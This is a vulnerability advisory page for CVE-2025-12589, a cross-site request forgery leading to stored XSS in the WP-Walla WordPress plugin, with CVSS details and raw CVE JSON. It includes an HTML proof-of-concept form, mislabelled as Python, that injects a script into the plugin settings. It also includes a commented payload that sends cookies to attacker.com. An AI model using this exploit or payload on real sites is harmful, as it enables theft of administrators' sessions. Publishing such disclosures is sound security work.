Security Vulnerability Report
中文
CVE-2025-12589 CVSS 6.1 MEDIUM

CVE-2025-12589

Published: 2025-11-11 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The WP-Walla plugin for WordPress is vulnerable to Cross-Site Request Forgery to Stored Cross-Site Scripting in all versions up to, and including, 0.5.3.5. This is due to missing nonce verification on the settings page and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages via a forged request granted they can trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP-Walla plugin <= 0.5.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12589 --> <!-- Exploits missing nonce validation to inject stored XSS --> <!DOCTYPE html> <html> <head> <title>CSRF Attack - CVE-2025-12589</title> </head> <body> <h1>CSRF PoC for WP-Walla Plugin XSS</h1> <form action="http://target-site/wp-admin/admin.php?page=wpwalla_settings" method="POST" id="exploitForm"> <input type="hidden" name="wpwalla_setting_option" value="test"> <!-- Malicious XSS payload injected via CSRF --> <input type="hidden" name="wpwalla_setting_value" value='"><script>alert(document.cookie)</script>'> <input type="hidden" name="wpwalla_save_settings" value="1"> </form> <p>Click the button below to execute the exploit:</p> <button type="button" onclick="document.getElementById('exploitForm').submit()"> Execute Attack </button> <script> // Auto-submit for social engineering // document.getElementById('exploitForm').submit(); </script> <!-- Alternative: Data theft payload <input type="hidden" name="wpwalla_setting_value" value='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'> --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12589", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:47.230", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Walla plugin for WordPress is vulnerable to Cross-Site Request Forgery to Stored Cross-Site Scripting in all versions up to, and including, 0.5.3.5. This is due to missing nonce verification on the settings page and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages via a forged request granted they can trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://developer.wordpress.org/plugins/security/nonces/", "source": "[email protected]"}, {"url": "https://developer.wordpress.org/reference/functions/esc_attr/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-walla/tags/0.5.3.5/wpwalla_admin.php#L2", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-walla/tags/0.5.3.5/wpwalla_admin.php#L83", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5ed9f7a1-54ef-4f88-b89c-756b8b646254?source=cve", "source": "[email protected]"}]}}